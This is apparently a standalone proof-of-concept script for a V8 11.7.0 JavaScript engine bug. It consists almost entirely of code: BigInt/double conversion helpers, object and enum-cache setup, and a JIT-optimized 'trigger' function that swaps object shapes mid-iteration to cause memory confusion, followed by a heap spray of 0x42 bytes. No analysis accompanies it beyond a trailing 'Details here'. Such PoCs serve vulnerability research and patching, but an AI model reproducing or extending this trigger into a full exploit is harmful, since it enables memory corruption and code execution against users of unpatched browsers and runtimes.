w/ V8 11.7.0 class Utils { static BigIntAsDouble(big_int) { Utils.#big_int_array[0] = big_int; return Utils.#double_array[0]; } static DoubleAsBigInt(big_int) { Utils.#double_array[0] = big_int; return Utils.#big_int_array[0]; } static CreateObject(prop_count) { let object = {}; for (let i = 0; i < prop_count; ++i) object[`p${i}`] = 1; return object; } static InitEnumCache(object) { for (let key in object) { } } static AllocateInOldSpace(...bytes) { let string = String.fromCharCode.apply(null, bytes); Utils.#empty_object[string]; } static #big_int_array = new BigUint64Array(1); static #double_array = new Float64Array(Utils.#big_int_array.buffer); static #empty_object = {}; }; Utils.AllocateInOldSpace(1); const object1 = Utils.CreateObject(1), object2 = Utils.CreateObject(9), object3 = Utils.CreateObject(10); Utils.InitEnumCache(object2); function trigger(callback) { for (let key in object2) { if (key == "p7") { callback(); return object2[key]; } } } %PrepareFunctionForOptimization(trigger); trigger(_ => _); trigger(_ => _); %OptimizeFunctionOnNextCall(trigger); trigger(function() { object3.p9 = 1.1; Utils.InitEnumCache(object1); Utils.AllocateInOldSpace(0x42, 0x42, 0x42, 0x42); }); Details here